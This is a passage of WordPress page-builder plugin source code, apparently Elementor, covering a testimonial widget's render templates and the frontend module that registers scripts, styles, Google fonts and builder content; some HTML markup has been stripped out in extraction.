print_render_attribute_string( 'testimonial_content' ); ?>>print_unescaped_setting( 'testimonial_content' ); ?>
print_render_attribute_string( 'meta' ); ?>>
get_render_attribute_string( 'link' ) . '>' . $image_html . ''; endif; echo wp_kses_post( $image_html ); ?>
add_render_attribute( 'testimonial_name', 'class', 'elementor-testimonial-name' ); $this->add_inline_editing_attributes( 'testimonial_name', 'none' ); if ( ! empty( $settings['link']['url'] ) ) : ?> print_render_attribute_string( 'testimonial_name' ); ?> print_render_attribute_string( 'link' ); ?>>print_unescaped_setting( 'testimonial_name' ); ?>
print_render_attribute_string( 'testimonial_name' ); ?>>print_unescaped_setting( 'testimonial_name' ); ?>
add_render_attribute( 'testimonial_job', 'class', 'elementor-testimonial-job' ); $this->add_inline_editing_attributes( 'testimonial_job', 'none' ); if ( ! empty( $settings['link']['url'] ) ) : ?> print_render_attribute_string( 'testimonial_job' ); ?> print_render_attribute_string( 'link' ); ?>>print_unescaped_setting( 'testimonial_job' ); ?>
print_render_attribute_string( 'testimonial_job' ); ?>>print_unescaped_setting( 'testimonial_job' ); ?>
<# if ( '' === settings.testimonial_content && '' === settings.testimonial_image.url && '' === settings.testimonial_name && '' === settings.testimonial_job ) { return; } var image = { id: settings.testimonial_image.id, url: settings.testimonial_image.url, size: settings.testimonial_image_size, dimension: settings.testimonial_image_custom_dimension, model: view.getEditModel() }; var imageUrl = false, hasImage = ''; if ( '' !== settings.testimonial_image.url ) { imageUrl = elementor.imagesManager.getImageUrl( image ); hasImage = ' elementor-has-image'; var imageHtml = 'testimonial'; if ( settings.link.url ) { imageHtml = '' + imageHtml + ''; } } var testimonial_image_position = settings.testimonial_image_position ? ' elementor-testimonial-image-position-' + settings.testimonial_image_position : ''; #>
<# if ( '' !== settings.testimonial_content ) { view.addRenderAttribute( 'testimonial_content', { 'data-binding-type': 'content', 'data-binding-setting': 'testimonial_content', } ); view.addRenderAttribute( 'testimonial_content', 'class', 'elementor-testimonial-content' ); view.addInlineEditingAttributes( 'testimonial_content' ); #>
{{{ settings.testimonial_content }}}
<# } #>
<# if ( imageUrl ) { #>
{{{ imageHtml }}}
<# } #>
render_testimonial_description(); ?>
<# if ( '' !== settings.testimonial_name ) { view.addRenderAttribute( 'testimonial_name', 'class', 'elementor-testimonial-name' ); view.addInlineEditingAttributes( 'testimonial_name', 'none' ); if ( settings.link.url ) { #> {{{ settings.testimonial_name }}} <# } else { #>
{{{ settings.testimonial_name }}}
<# } } if ( '' !== settings.testimonial_job ) { view.addRenderAttribute( 'testimonial_job', 'class', 'elementor-testimonial-job' ); view.addInlineEditingAttributes( 'testimonial_job', 'none' ); if ( settings.link.url ) { #> {{{ settings.testimonial_job }}} <# } else { #>
{{{ settings.testimonial_job }}}
<# } } #> add_content_filter(); $this->init_swiper_settings(); // Hack to avoid enqueue post CSS while it's a `the_excerpt` call. add_filter( 'get_the_excerpt', [ $this, 'start_excerpt_flag' ], 1 ); add_filter( 'get_the_excerpt', [ $this, 'end_excerpt_flag' ], 20 ); } /** * Get module name. * * Retrieve the module name. * * @since 2.3.0 * @access public * * @return string Module name. */ public function get_name() { return 'frontend'; } /** * Init render mode manager. */ public function init_render_mode() { if ( Plugin::$instance->editor->is_edit_mode() ) { return; } $this->render_mode_manager = new Render_Mode_Manager(); } /** * Init. * * Initialize Elementor front end. Hooks the needed actions to run Elementor * in the front end, including script and style registration. * * Fired by `template_redirect` action. * * @since 1.0.0 * @access public */ public function init() { if ( Plugin::$instance->editor->is_edit_mode() ) { return; } add_filter( 'body_class', [ $this, 'body_class' ] ); if ( Plugin::$instance->preview->is_preview_mode() ) { return; } if ( current_user_can( 'manage_options' ) ) { Plugin::$instance->init_common(); } $this->post_id = get_the_ID(); $document = Plugin::$instance->documents->get( $this->post_id ); if ( is_singular() && $document && $document->is_built_with_elementor() ) { add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_styles' ], self::ENQUEUED_STYLES_PRIORITY ); } // Priority 7 to allow google fonts in header template to load in tag add_action( 'wp_head', [ $this, 'print_fonts_links' ], 7 ); add_action( 'wp_head', [ $this, 'print_google_fonts_preconnect_tag' ], 8 ); add_action( 'wp_head', [ $this, 'add_theme_color_meta_tag' ] ); add_action( 'wp_footer', [ $this, 'wp_footer' ] ); } public function print_google_fonts_preconnect_tag() { if ( 0 >= $this->google_fonts_index ) { return; } echo ''; } /** * @since 2.0.12 * @access public * @param string|array $class */ public function add_body_class( $class ) { if ( is_array( $class ) ) { $this->body_classes = array_merge( $this->body_classes, $class ); } else { $this->body_classes[] = $class; } } /** * Add Theme Color Meta Tag * * @since 3.0.0 * @access public */ public function add_theme_color_meta_tag() { $kit = Plugin::$instance->kits_manager->get_active_kit_for_frontend(); $mobile_theme_color = $kit->get_settings( 'mobile_browser_background' ); if ( ! empty( $mobile_theme_color ) ) { ?> body_classes ); $id = get_the_ID(); $document = Plugin::$instance->documents->get( $id ); if ( is_singular() && $document && $document->is_built_with_elementor() ) { $classes[] = 'elementor-page elementor-page-' . $id; } if ( Plugin::$instance->preview->is_preview_mode() ) { $editor_preferences = SettingsManager::get_settings_managers( 'editorPreferences' ); $show_hidden_elements = $editor_preferences->get_model()->get_settings( 'show_hidden_elements' ); if ( 'yes' === $show_hidden_elements ) { $classes[] = 'e-preview--show-hidden-elements'; } } return $classes; } /** * Add content filter. * * Remove plain content and render the content generated by Elementor. * * @since 1.8.0 * @access public */ public function add_content_filter() { add_filter( 'the_content', [ $this, 'apply_builder_in_content' ], self::THE_CONTENT_FILTER_PRIORITY ); } public function init_swiper_settings() { $e_swiper_latest = Plugin::$instance->experiments->is_feature_active( 'e_swiper_latest' ); $this->e_swiper_asset_path = $e_swiper_latest ? 'assets/lib/swiper/v8/' : 'assets/lib/swiper/'; $this->e_swiper_version = $e_swiper_latest ? '8.4.5' : '5.3.6'; } /** * Remove content filter. * * When the Elementor generated content rendered, we remove the filter to prevent multiple * accuracies. This way we make sure Elementor renders the content only once. * * @since 1.8.0 * @access public */ public function remove_content_filter() { remove_filter( 'the_content', [ $this, 'apply_builder_in_content' ], self::THE_CONTENT_FILTER_PRIORITY ); } /** * Registers scripts. * * Registers all the frontend scripts. * * Fired by `wp_enqueue_scripts` action. * * @since 1.2.1 * @access public */ public function register_scripts() { /** * Before frontend register scripts. * * Fires before Elementor frontend scripts are registered. * * @since 1.2.1 */ do_action( 'elementor/frontend/before_register_scripts' ); wp_register_script( 'elementor-webpack-runtime', $this->get_js_assets_url( 'webpack.runtime', 'assets/js/' ), [], ELEMENTOR_VERSION, true ); wp_register_script( 'elementor-frontend-modules', $this->get_js_assets_url( 'frontend-modules' ), [ 'elementor-webpack-runtime', 'jquery', ], ELEMENTOR_VERSION, true ); wp_register_script( 'flatpickr', $this->get_js_assets_url( 'flatpickr', 'assets/lib/flatpickr/' ), [ 'jquery', ], '4.1.4', true ); wp_register_script( 'imagesloaded', $this->get_js_assets_url( 'imagesloaded', 'assets/lib/imagesloaded/' ), [ 'jquery', ], '4.1.0', true ); wp_register_script( 'jquery-numerator', $this->get_js_assets_url( 'jquery-numerator', 'assets/lib/jquery-numerator/' ), [ 'jquery', ], '0.2.1', true ); wp_register_script( 'elementor-dialog', $this->get_js_assets_url( 'dialog', 'assets/lib/dialog/' ), [ 'jquery-ui-position', ], '4.9.3', true ); wp_register_script( 'elementor-gallery', $this->get_js_assets_url( 'e-gallery', 'assets/lib/e-gallery/js/' ), [ 'jquery', ], '1.2.0', true ); wp_register_script( 'share-link', $this->get_js_assets_url( 'share-link', 'assets/lib/share-link/' ), [ 'jquery', ], ELEMENTOR_VERSION, true ); wp_register_script( 'elementor-frontend', $this->get_js_assets_url( 'frontend' ), [ 'elementor-frontend-modules', 'jquery-ui-position', ], ELEMENTOR_VERSION, true ); /** * After frontend register scripts. * * Fires after Elementor frontend scripts are registered. * * @since 1.2.1 */ do_action( 'elementor/frontend/after_register_scripts' ); } /** * Registers styles. * * Registers all the frontend styles. * * Fired by `wp_enqueue_scripts` action. * * @since 1.2.0 * @access public */ public function register_styles() { $min_suffix = Utils::is_script_debug() ? '' : '.min'; $direction_suffix = is_rtl() ? '-rtl' : ''; $has_custom_breakpoints = Plugin::$instance->breakpoints->has_custom_breakpoints(); /** * Before frontend register styles. * * Fires before Elementor frontend styles are registered. * * @since 1.2.0 */ do_action( 'elementor/frontend/before_register_styles' ); wp_register_style( 'font-awesome', $this->get_css_assets_url( 'font-awesome', 'assets/lib/font-awesome/css/' ), [], '4.7.0' ); wp_register_style( 'elementor-icons', $this->get_css_assets_url( 'elementor-icons', 'assets/lib/eicons/css/' ), [], Icons_Manager::ELEMENTOR_ICONS_VERSION ); wp_register_style( 'flatpickr', $this->get_css_assets_url( 'flatpickr', 'assets/lib/flatpickr/' ), [], '4.1.4' ); wp_register_style( 'elementor-gallery', $this->get_css_assets_url( 'e-gallery', 'assets/lib/e-gallery/css/' ), [], '1.2.0' ); wp_register_style( 'e-apple-webkit', $this->get_css_assets_url( 'apple-webkit', 'assets/css/conditionals/' ), [], ELEMENTOR_VERSION ); wp_register_style( 'e-swiper', $this->get_css_assets_url( 'e-swiper', 'assets/css/conditionals/' ), [ 'swiper' ], ELEMENTOR_VERSION ); wp_register_style( 'swiper', $this->get_css_assets_url( 'swiper', $this->e_swiper_asset_path . 'css/' ), [], $this->e_swiper_version ); wp_register_style( 'elementor-wp-admin-bar', $this->get_css_assets_url( 'admin-bar', 'assets/css/' ), [], ELEMENTOR_VERSION ); wp_register_style( 'elementor-frontend', $this->get_frontend_file_url( "frontend{$direction_suffix}{$min_suffix}.css", $has_custom_breakpoints ), [], $has_custom_breakpoints ? null : ELEMENTOR_VERSION ); $widgets_with_styles = Plugin::$instance->widgets_manager->widgets_with_styles(); foreach ( $widgets_with_styles as $widget_name ) { wp_register_style( "widget-{$widget_name}", $this->get_css_assets_url( "widget-{$widget_name}", null, true, true ), [ 'elementor-frontend' ], ELEMENTOR_VERSION ); } $widgets_with_responsive_styles = Plugin::$instance->widgets_manager->widgets_with_responsive_styles(); foreach ( $widgets_with_responsive_styles as $widget_name ) { wp_register_style( "widget-{$widget_name}", $this->get_frontend_file_url( "widget-{$widget_name}{$direction_suffix}.min.css", $has_custom_breakpoints ), [ 'elementor-frontend' ], $has_custom_breakpoints ? null : ELEMENTOR_VERSION ); } /** * After frontend register styles. * * Fires after Elementor frontend styles are registered. * * @since 1.2.0 */ do_action( 'elementor/frontend/after_register_styles' ); } /** * Enqueue scripts. * * Enqueue all the frontend scripts. * * @since 1.0.0 * @access public */ public function enqueue_scripts() { /** * Before frontend enqueue scripts. * * Fires before Elementor frontend scripts are enqueued. * * @since 1.0.0 */ do_action( 'elementor/frontend/before_enqueue_scripts' ); wp_enqueue_script( 'elementor-frontend' ); $this->print_config(); $this->enqueue_conditional_assets(); /** * After frontend enqueue scripts. * * Fires after Elementor frontend scripts are enqueued. * * @since 1.0.0 */ do_action( 'elementor/frontend/after_enqueue_scripts' ); } /** * Enqueue styles. * * Enqueue all the frontend styles. * * Fired by `wp_enqueue_scripts` action. * * @since 1.0.0 * @access public */ public function enqueue_styles() { static $is_enqueue_styles_already_triggered; if ( ! $is_enqueue_styles_already_triggered ) { $is_enqueue_styles_already_triggered = true; /** * Before frontend styles enqueued. * * Fires before Elementor frontend styles are enqueued. * * @since 1.0.0 */ do_action( 'elementor/frontend/before_enqueue_styles' ); // The e-icons are needed in preview mode for the editor icons (plus-icon for new section, folder-icon for the templates library etc.). if ( ! Plugin::$instance->experiments->is_feature_active( 'e_font_icon_svg' ) || Plugin::$instance->preview->is_preview_mode() ) { wp_enqueue_style( 'elementor-icons' ); } wp_enqueue_style( 'elementor-frontend' ); // TODO: Update in version 3.26.0 [ED-15471] if ( ! Plugin::$instance->experiments->is_feature_active( 'e_swiper_css_conditional_loading' ) ) { wp_enqueue_style( 'e-swiper' ); } if ( is_admin_bar_showing() ) { wp_enqueue_style( 'elementor-wp-admin-bar' ); } /** * After frontend styles enqueued. * * Fires after Elementor frontend styles are enqueued. * * @since 1.0.0 */ do_action( 'elementor/frontend/after_enqueue_styles' ); if ( ! Plugin::$instance->preview->is_preview_mode() ) { $this->parse_global_css_code(); $post_id = get_the_ID(); // Check $post_id for virtual pages. check is singular because the $post_id is set to the first post on archive pages. if ( $post_id && is_singular() ) { $page_assets = get_post_meta( $post_id, Assets::ASSETS_META_KEY, true ); if ( ! empty( $page_assets ) ) { Plugin::$instance->assets_loader->enable_assets( $page_assets ); } $css_file = Post_CSS::create( get_the_ID() ); $css_file->enqueue(); } } } } /** * Get Frontend File URL * * Returns the URL for the CSS file to be loaded in the front end. If requested via the second parameter, a custom * file is generated based on a passed template file name. Otherwise, the URL for the default CSS file is returned. * * @since 3.4.5 * * @access public * * @param string $frontend_file_name * @param boolean $custom_file * * @return string frontend file URL */ public function get_frontend_file_url( $frontend_file_name, $custom_file ) { if ( $custom_file ) { $frontend_file = $this->get_frontend_file( $frontend_file_name ); $frontend_file_url = $frontend_file->get_url(); } else { $frontend_file_url = ELEMENTOR_ASSETS_URL . 'css/' . $frontend_file_name; } return $frontend_file_url; } /** * Get Frontend File Path * * Returns the path for the CSS file to be loaded in the front end. If requested via the second parameter, a custom * file is generated based on a passed template file name. Otherwise, the path for the default CSS file is returned. * * @since 3.5.0 * @access public * * @param string $frontend_file_name * @param boolean $custom_file * * @return string frontend file path */ public function get_frontend_file_path( $frontend_file_name, $custom_file ) { if ( $custom_file ) { $frontend_file = $this->get_frontend_file( $frontend_file_name ); $frontend_file_path = $frontend_file->get_path(); } else { $frontend_file_path = ELEMENTOR_ASSETS_PATH . 'css/' . $frontend_file_name; } return $frontend_file_path; } /** * Get Frontend File * * Returns a frontend file instance. * * @since 3.5.0 * @access public * * @param string $frontend_file_name * @param string $file_prefix * @param string $template_file_path * * @return FrontendFile */ public function get_frontend_file( $frontend_file_name, $file_prefix = 'custom-', $template_file_path = '' ) { static $cached_frontend_files = []; $file_name = $file_prefix . $frontend_file_name; if ( isset( $cached_frontend_files[ $file_name ] ) ) { return $cached_frontend_files[ $file_name ]; } if ( ! $template_file_path ) { $template_file_path = Breakpoints_Manager::get_stylesheet_templates_path() . $frontend_file_name; } $frontend_file = new FrontendFile( $file_name, $template_file_path ); $time = $frontend_file->get_meta( 'time' ); if ( ! $time ) { $frontend_file->update(); } $cached_frontend_files[ $file_name ] = $frontend_file; return $frontend_file; } /** * Enqueue assets conditionally. * * Enqueue all assets that were pre-enabled. * * @since 3.3.0 * @access private */ private function enqueue_conditional_assets() { Plugin::$instance->assets_loader->enqueue_assets(); } /** * Elementor footer scripts and styles. * * Handle styles and scripts that are not printed in the header. * * Fired by `wp_footer` action. * * @since 1.0.11 * @access public */ public function wp_footer() { if ( ! $this->_has_elementor_in_page ) { return; } $this->enqueue_styles(); $this->enqueue_scripts(); $this->print_fonts_links(); } /** * @return array|array[] */ public function get_list_of_google_fonts_by_type(): array { $google_fonts = [ 'google' => [], 'early' => [], ]; foreach ( $this->fonts_to_enqueue as $key => $font ) { $font_type = Fonts::get_font_type( $font ); switch ( $font_type ) { case Fonts::GOOGLE: $google_fonts['google'][] = $font; break; case Fonts::EARLYACCESS: $google_fonts['early'][] = $font; break; case false: $this->maybe_enqueue_icon_font( $font ); break; default: /** * Print font links. * * Fires when Elementor frontend fonts are printed on the HEAD tag. * * The dynamic portion of the hook name, `$font_type`, refers to the font type. * * @since 2.0.0 * * @param string $font Font name. */ do_action( "elementor/fonts/print_font_links/{$font_type}", $font ); } } $this->fonts_to_enqueue = []; return $google_fonts; } /** * Print fonts links. * * Enqueue all the frontend fonts by url. * * Fired by `wp_head` action. * * @since 1.9.4 * @access public */ public function print_fonts_links() { $google_fonts = $this->get_list_of_google_fonts_by_type(); $this->enqueue_google_fonts( $google_fonts ); $this->enqueue_icon_fonts(); } private function maybe_enqueue_icon_font( $icon_font_type ) { if ( ! Icons_Manager::is_migration_allowed() ) { return; } $icons_types = Icons_Manager::get_icon_manager_tabs(); if ( ! isset( $icons_types[ $icon_font_type ] ) ) { return; } $icon_type = $icons_types[ $icon_font_type ]; if ( isset( $icon_type['url'] ) ) { $this->icon_fonts_to_enqueue[ $icon_font_type ] = [ $icon_type['url'] ]; } } private function enqueue_icon_fonts() { if ( empty( $this->icon_fonts_to_enqueue ) || ! Icons_Manager::is_migration_allowed() ) { return; } foreach ( $this->icon_fonts_to_enqueue as $icon_type => $css_url ) { wp_enqueue_style( 'elementor-icons-' . $icon_type ); $this->enqueued_icon_fonts[] = $css_url; } //clear enqueued icons $this->icon_fonts_to_enqueue = []; } /** * @param array $fonts Stable google fonts ($google_fonts['google']). * @return string */ public function get_stable_google_fonts_url( array $fonts ): string { foreach ( $fonts as &$font ) { $font = str_replace( ' ', '+', $font ) . ':100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic'; } // Defining a font-display type to google fonts. $font_display_url_str = '&display=' . Fonts::get_font_display_setting(); $fonts_url = sprintf( 'https://fonts.googleapis.com/css?family=%1$s%2$s', implode( rawurlencode( '|' ), $fonts ), $font_display_url_str ); $subsets = [ 'ru_RU' => 'cyrillic', 'bg_BG' => 'cyrillic', 'he_IL' => 'hebrew', 'el' => 'greek', 'vi' => 'vietnamese', 'uk' => 'cyrillic', 'cs_CZ' => 'latin-ext', 'ro_RO' => 'latin-ext', 'pl_PL' => 'latin-ext', 'hr_HR' => 'latin-ext', 'hu_HU' => 'latin-ext', 'sk_SK' => 'latin-ext', 'tr_TR' => 'latin-ext', 'lt_LT' => 'latin-ext', ]; /** * Google font subsets. * * Filters the list of Google font subsets from which locale will be enqueued in frontend. * * @since 1.0.0 * * @param array $subsets A list of font subsets. */ $subsets = apply_filters( 'elementor/frontend/google_font_subsets', $subsets ); $locale = get_locale(); if ( isset( $subsets[ $locale ] ) ) { $fonts_url .= '&subset=' . $subsets[ $locale ]; } return $fonts_url; } /** * @param array $fonts Early Access google fonts ($google_fonts['early']). * @return array */ public function get_early_access_google_font_urls( array $fonts ): array { $font_urls = []; foreach ( $fonts as $font ) { $font_urls[] = sprintf( 'https://fonts.googleapis.com/earlyaccess/%s.css', strtolower( str_replace( ' ', '', $font ) ) ); } return $font_urls; } /** * Print Google fonts. * * Enqueue all the frontend Google fonts. * * Fired by `wp_head` action. * * @since 1.0.0 * @access private * * @param array $google_fonts Optional. Google fonts to print in the frontend. * Default is an empty array. */ private function enqueue_google_fonts( $google_fonts = [] ) { $print_google_fonts = Fonts::is_google_fonts_enabled(); /** * Print frontend google fonts. * * Filters whether to enqueue Google fonts in the frontend. * * @since 1.0.0 * * @param bool $print_google_fonts Whether to enqueue Google fonts. Default is true. */ $print_google_fonts = apply_filters( 'elementor/frontend/print_google_fonts', $print_google_fonts ); if ( ! $print_google_fonts ) { return; } // Print used fonts if ( ! empty( $google_fonts['google'] ) ) { $this->google_fonts_index++; $fonts_url = $this->get_stable_google_fonts_url( $google_fonts['google'] ); wp_enqueue_style( 'google-fonts-' . $this->google_fonts_index, $fonts_url ); // phpcs:ignore WordPress.WP.EnqueuedResourceParameters.MissingVersion } if ( ! empty( $google_fonts['early'] ) ) { $early_access_font_urls = $this->get_early_access_google_font_urls( $google_fonts['early'] ); foreach ( $early_access_font_urls as $ea_font_url ) { $this->google_fonts_index++; //printf( '', strtolower( str_replace( ' ', '', $current_font ) ) ); wp_enqueue_style( 'google-earlyaccess-' . $this->google_fonts_index, $ea_font_url ); // phpcs:ignore WordPress.WP.EnqueuedResourceParameters.MissingVersion } } } /** * Enqueue fonts. * * Enqueue all the frontend fonts. * * @since 1.2.0 * @access public * * @param array $font Fonts to enqueue in the frontend. */ public function enqueue_font( $font ) { if ( in_array( $font, $this->registered_fonts ) ) { return; } $this->fonts_to_enqueue[] = $font; $this->registered_fonts[] = $font; } /** * Parse global CSS. * * Enqueue the global CSS file. * * @since 1.2.0 * @access protected */ protected function parse_global_css_code() { $scheme_css_file = Global_CSS::create( 'global.css' ); $scheme_css_file->enqueue(); } /** * Apply builder in content. * * Used to apply the Elementor page editor on the post content. * * @since 1.0.0 * @access public * * @param string $content The post content. * * @return string The post content. */ public function apply_builder_in_content( $content ) { $this->restore_content_filters(); if ( Plugin::$instance->preview->is_preview_mode() || $this->_is_excerpt ) { return $content; } // Remove the filter itself in order to allow other `the_content` in the elements $this->remove_content_filter(); $post_id = get_the_ID(); $builder_content = $this->get_builder_content( $post_id ); if ( ! empty( $builder_content ) ) { $content = $builder_content; $this->remove_content_filters(); } // Add the filter again for other `the_content` calls $this->add_content_filter(); return $content; } /** * Retrieve builder content. * * Used to render and return the post content with all the Elementor elements. * * Note that this method is an internal method, please use `get_builder_content_for_display()`. * * @since 1.0.0 * @access public * * @param int $post_id The post ID. * @param bool $with_css Optional. Whether to retrieve the content with CSS * or not. Default is false. * * @return string The post content. */ public function get_builder_content( $post_id, $with_css = false ) { if ( post_password_required( $post_id ) ) { return ''; } $document = Plugin::$instance->documents->get_doc_for_frontend( $post_id ); if ( ! $document || ! $document->is_built_with_elementor() ) { return ''; } // Change the current post, so widgets can use `documents->get_current`. Plugin::$instance->documents->switch_to_document( $document ); $data = $document->get_elements_data(); /** * Frontend builder content data. * * Filters the builder content in the frontend. * * @since 1.0.0 * * @param array $data The builder content. * @param int $post_id The post ID. */ $data = apply_filters( 'elementor/frontend/builder_content_data', $data, $post_id ); do_action( 'elementor/frontend/before_get_builder_content', $document, $this->_is_excerpt ); if ( empty( $data ) ) { Plugin::$instance->documents->restore_document(); return ''; } if ( ! $this->_is_excerpt ) { if ( $document->is_autosave() ) { $css_file = Post_Preview::create( $document->get_post()->ID ); } else { $css_file = Post_CSS::create( $post_id ); } /** * Builder Content - Before Enqueue CSS File * * Allows intervening with a document's CSS file before it is enqueued. * * @param $css_file Post_CSS|Post_Preview */ $css_file = apply_filters( 'elementor/frontend/builder_content/before_enqueue_css_file', $css_file ); $css_file->enqueue(); } ob_start(); // Handle JS and Customizer requests, with CSS inline. if ( is_customize_preview() || wp_doing_ajax() ) { $with_css = true; } /** * Builder Content - With CSS * * Allows overriding the `$with_css` parameter which is a factor in determining whether to print the document's * CSS and font links inline in a `style` tag above the document's markup. * * @param $with_css boolean */ $with_css = apply_filters( 'elementor/frontend/builder_content/before_print_css', $with_css ); if ( ! empty( $css_file ) && $with_css ) { $css_file->print_css(); } $document->print_elements_with_wrapper( $data ); $content = ob_get_clean(); $content = $this->process_more_tag( $content ); /** * Frontend content. * * Filters the content in the frontend. * * @since 1.0.0 * * @param string $content The content. */ $content = apply_filters( 'elementor/frontend/the_content', $content ); if ( ! empty( $content ) ) { $this->_has_elementor_in_page = true; } Plugin::$instance->documents->restore_document(); // BC // TODO: use Deprecation::do_deprecated_action() in 3.1.0 do_action( 'elementor/frontend/get_builder_content', $document, $this->_is_excerpt, $with_css ); return $content; } /** * Retrieve builder content for display. * * Used to render and return the post content with all the Elementor elements. * * @since 1.0.0 * @access public * * @param int $post_id The post ID. * * @param bool $with_css Optional. Whether to retrieve the content with CSS * or not. Default is false. * * @return string The post content. */ public function get_builder_content_for_display( $post_id, $with_css = false ) { if ( ! get_post( $post_id ) ) { return ''; } $editor = Plugin::$instance->editor; // Avoid recursion if ( get_the_ID() === (int) $post_id ) { $content = ''; if ( $editor->is_edit_mode() ) { $content = '
' . esc_html__( 'Invalid Data: The Template ID cannot be the same as the currently edited template. Please choose a different one.', 'elementor' ) . '
'; } return $content; } // Set edit mode as false, so don't render settings and etc. use the $is_edit_mode to indicate if we need the CSS inline $is_edit_mode = $editor->is_edit_mode(); $editor->set_edit_mode( false ); $with_css = $with_css ? true : $is_edit_mode; $content = $this->get_builder_content( $post_id, $with_css ); // Restore edit mode state Plugin::$instance->editor->set_edit_mode( $is_edit_mode ); return $content; } /** * Start excerpt flag. * * Flags when `the_excerpt` is called. Used to avoid enqueueing CSS in the excerpt. * * @since 1.4.3 * @access public * * @param string $excerpt The post excerpt. * * @return string The post excerpt. */ public function start_excerpt_flag( $excerpt ) { $this->_is_excerpt = true; return $excerpt; } /** * End excerpt flag. * * Flags when `the_excerpt` call ended. * * @since 1.4.3 * @access public * * @param string $excerpt The post excerpt. * * @return string The post excerpt. */ public function end_excerpt_flag( $excerpt ) { $this->_is_excerpt = false; return $excerpt; } /** * Remove content filters. * * Remove WordPress default filters that conflicted with Elementor. * * @since 1.5.0 * @access public */ public function remove_content_filters() { $filters = [ 'wpautop', 'shortcode_unautop', 'wptexturize', ]; foreach ( $filters as $filter ) { // Check if another plugin/theme do not already removed the filter. if ( has_filter( 'the_content', $filter ) ) { remove_filter( 'the_content', $filter ); $this->content_removed_filters[] = $filter; } } } /** * Has Elementor In Page * * Determine whether the current page is using Elementor. * * @since 2.0.9 * * @access public * @return bool */ public function has_elementor_in_page() { return $this->_has_elementor_in_page; } public function create_action_hash( $action, array $settings = [] ) { return '#' . rawurlencode( sprintf( 'elementor-action:action=%1$s&settings=%2$s', $action, base64_encode( wp_json_encode( $settings ) ) ) ); } /** * Is the current render mode is static. * * @return bool */ public function is_static_render_mode() { // The render mode manager is exists only in frontend, // so by default if it is not exist the method will return false. if ( ! $this->render_mode_manager ) { return false; } return $this->render_mode_manager->get_current()->is_static(); } /** * Get Init Settings * * Used to define the default/initial settings of the object. Inheriting classes may implement this method to define * their own default/initial settings. * * @since 2.3.0 * * @access protected * @return array */ protected function get_init_settings() { $is_preview_mode = Plugin::$instance->preview->is_preview_mode( Plugin::$instance->preview->get_post_id() ); $active_experimental_features = Plugin::$instance->experiments->get_active_features(); $active_experimental_features = array_fill_keys( array_keys( $active_experimental_features ), true ); $assets_url = ELEMENTOR_ASSETS_URL; /** * Frontend assets URL * * Filters Elementor frontend assets URL. * * @since 2.3.0 * * @param string $assets_url The frontend assets URL. Default is ELEMENTOR_ASSETS_URL. */ $assets_url = apply_filters( 'elementor/frontend/assets_url', $assets_url ); $settings = [ 'environmentMode' => [ 'edit' => $is_preview_mode, 'wpPreview' => is_preview(), 'isScriptDebug' => Utils::is_script_debug(), ], 'i18n' => [ 'shareOnFacebook' => esc_html__( 'Share on Facebook', 'elementor' ), 'shareOnTwitter' => esc_html__( 'Share on Twitter', 'elementor' ), 'pinIt' => esc_html__( 'Pin it', 'elementor' ), 'download' => esc_html__( 'Download', 'elementor' ), 'downloadImage' => esc_html__( 'Download image', 'elementor' ), 'fullscreen' => esc_html__( 'Fullscreen', 'elementor' ), 'zoom' => esc_html__( 'Zoom', 'elementor' ), 'share' => esc_html__( 'Share', 'elementor' ), 'playVideo' => esc_html__( 'Play Video', 'elementor' ), 'previous' => esc_html__( 'Previous', 'elementor' ), 'next' => esc_html__( 'Next', 'elementor' ), 'close' => esc_html__( 'Close', 'elementor' ), 'a11yCarouselWrapperAriaLabel' => __( 'Carousel | Horizontal scrolling: Arrow Left & Right', 'elementor' ), 'a11yCarouselPrevSlideMessage' => __( 'Previous slide', 'elementor' ), 'a11yCarouselNextSlideMessage' => __( 'Next slide', 'elementor' ), 'a11yCarouselFirstSlideMessage' => __( 'This is the first slide', 'elementor' ), 'a11yCarouselLastSlideMessage' => __( 'This is the last slide', 'elementor' ), 'a11yCarouselPaginationBulletMessage' => __( 'Go to slide', 'elementor' ), ], 'is_rtl' => is_rtl(), // 'breakpoints' object is kept for BC. 'breakpoints' => Responsive::get_breakpoints(), // 'responsive' contains the custom breakpoints config introduced in Elementor v3.2.0 'responsive' => [ 'breakpoints' => Plugin::$instance->breakpoints->get_breakpoints_config(), ], 'version' => ELEMENTOR_VERSION, 'is_static' => $this->is_static_render_mode(), 'experimentalFeatures' => $active_experimental_features, 'urls' => [ 'assets' => $assets_url, 'ajaxurl' => admin_url( 'admin-ajax.php' ), ], 'nonces' => [ 'floatingButtonsClickTracking' => wp_create_nonce( Module::CLICK_TRACKING_NONCE ), ], 'swiperClass' => Plugin::$instance->experiments->is_feature_active( 'e_swiper_latest' ) ? 'swiper' : 'swiper-container', ]; $settings['settings'] = SettingsManager::get_settings_frontend_config(); $kit = Plugin::$instance->kits_manager->get_active_kit_for_frontend(); $settings['kit'] = $kit->get_frontend_settings(); if ( is_singular() ) { $post = get_post(); $title = Utils::urlencode_html_entities( wp_get_document_title() ); // Try to use the 'large' WP image size because the Pinterest share API // has problems accepting shares with large images sometimes, and the WP 'large' thumbnail is // the largest default WP image size that will probably not be changed in most sites $featured_image_url = get_the_post_thumbnail_url( null, 'large' ); // If the large size was nullified, use the full size which cannot be nullified/deleted if ( ! $featured_image_url ) { $featured_image_url = get_the_post_thumbnail_url( null, 'full' ); } $settings['post'] = [ 'id' => $post->ID, 'title' => $title, 'excerpt' => $post->post_excerpt, 'featuredImage' => $featured_image_url, ]; } else { $settings['post'] = [ 'id' => 0, 'title' => wp_get_document_title(), 'excerpt' => get_the_archive_description(), ]; } $empty_object = (object) []; if ( $is_preview_mode ) { $settings['elements'] = [ 'data' => $empty_object, 'editSettings' => $empty_object, 'keys' => $empty_object, ]; } if ( is_user_logged_in() ) { $user = wp_get_current_user(); if ( ! empty( $user->roles ) ) { $settings['user'] = [ 'roles' => $user->roles, ]; } } return $settings; } /** * Restore content filters. * * Restore removed WordPress filters that conflicted with Elementor. * * @since 1.5.0 * @access public */ public function restore_content_filters() { foreach ( $this->content_removed_filters as $filter ) { add_filter( 'the_content', $filter ); } $this->content_removed_filters = []; } /** * Process More Tag * * Respect the native WP () tag * * @access private * @since 2.0.4 * * @param $content * * @return string */ private function process_more_tag( $content ) { $post = get_post(); $content = str_replace( '<!--more-->', '', $content ); $parts = get_extended( $content ); if ( empty( $parts['extended'] ) ) { return $content; } if ( is_singular() ) { return $parts['main'] . '
